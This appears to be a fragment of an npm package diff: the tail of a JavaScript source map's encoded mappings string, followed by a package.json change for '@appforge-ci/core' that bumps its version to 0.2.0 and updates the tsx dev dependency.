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"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@appforge-ci/core",
3
- "version": "0.1.2",
3
+ "version": "0.2.0",
4
4
  "license": "MIT",
5
5
  "publishConfig": {
6
6
  "access": "public"
@@ -22,7 +22,7 @@
22
22
  },
23
23
  "devDependencies": {
24
24
  "@types/node": "^20.16.5",
25
- "tsx": "^4.23.13",
25
+ "tsx": "^4.23.15",
26
26
  "typescript": "^5.6.3"
27
27
  },
28
28
  "scripts": {